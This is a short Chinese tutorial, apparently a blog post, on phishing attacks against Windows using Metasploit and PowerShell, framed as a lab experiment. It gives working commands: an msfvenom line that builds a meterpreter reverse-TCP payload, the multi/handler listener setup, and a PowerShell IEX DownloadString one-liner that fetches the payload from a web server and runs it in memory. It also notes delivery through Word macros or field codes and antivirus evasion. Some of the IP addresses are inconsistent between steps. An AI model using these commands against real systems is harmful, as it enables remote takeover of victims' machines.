MSF&Powershell钓鱼攻击
前言
Powershell是windows下面非常强大的命令行工具,并且在windows中Powershell可以利用.NET Framework的强大功能,也可以调用windows API,在win7/server 2008以后,powershell已被集成在系统当中。 除此之外,使用powershell能很好的bypass各种AV,在渗透测试中可谓是一个神器。此次使用的是开源的powershell脚本集nishang中的client来制作钓鱼文件。其中office类型文件可以达到钓鱼目的的前提是office已经启用宏。
实验步骤
0x01 在Kali中通过MSF生成反弹Payload:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.7 LPORT=1121 -f psh-reflection >x.ps1
#生成名为x.ps1的windows/x64/meteroreter/reverse_tcp的payload

0x02 通过MSF进行监听
msfconsole
use exploit/multi/handler
set lhost 192.168.3.223
set lport 1234
set payload windows/x64/meterpreter/reverse_tcp
run

0x03 将生成的payload放至公网服务器,确保靶机能够访问。

0x04 在靶机中运行powershell脚本,实战需要其他方式运行此代码:
powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.3.221/x.ps1')
#代码中的地址为公网地址。通过word域代码执行powershell脚本调用web服务器payload
下载到靶机内存中执行

当靶机成功执行以上命令之后,msf会收到会话如下图,此时已经成功建立会话,可控制靶机。实验成功。

本文介绍了如何使用MSF生成反弹shell的payload,并结合Powershell在Windows环境中进行钓鱼攻击。实验过程包括在Kali系统中创建payload,通过MSF监听,将payload上传至公网服务器,然后诱导目标机器通过Powershell下载并执行,最终实现远程控制靶机。
2437

被折叠的 条评论
为什么被折叠?



